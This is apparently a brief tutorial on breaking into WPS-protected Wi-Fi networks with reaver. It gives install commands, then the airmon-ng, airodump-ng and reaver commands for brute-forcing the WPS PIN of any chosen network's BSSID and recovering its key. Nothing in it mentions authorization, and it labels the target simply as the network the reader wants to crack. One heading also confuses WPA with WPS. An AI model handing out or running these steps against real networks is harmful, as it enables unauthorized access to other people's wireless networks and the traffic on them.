The limitations of aircrack-ng is, its accuracy is very poor when working with WPS encrypted networks.

For this purpose, we will be using a tool called "reaver" to crack WPS encrypted networks without the need of a wordlist or a dictionary attack.

reaver is also included in the toolkit in Kali Linux.

Requirements:
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1) Debian based linux distro ( for starters ), any other linux distro for advanced users.

2) aircrack-ng

reaver Installation:
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If you use Ubuntu 13.04 or Higher (Including Mint):

Open terminal and type:
sudo apt-get install reaver

For other Linux:
Download reaver from here.
https://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

Installation:
Open Terminal Type:

sudo su

wget https://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

tar -xzvf reaver-1.4.tar.gz

cd reaver-1.4/src

./configure

make

sudo make install

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Now To Crack WPA Networks with reaver:

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Open terminal type:

sudo su
(run as root)

sudo airmon-ng start wlan0
(enabling monitor mode on wireless card)

airodump-ng mon0
(scanning for wireless networks)

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When you find the network you want to crack, press Ctrl + C to stop scanning.

Copy the BSSID of the network.

type in:

reaver -i mon0 -b 11:22:33:44:55:66 -vv
(note : replace 11:22:33:44:55:66 with the BSSID of the network you want to crack)

Press enter, and sit back.. reaver will do the rest and show you the KEY.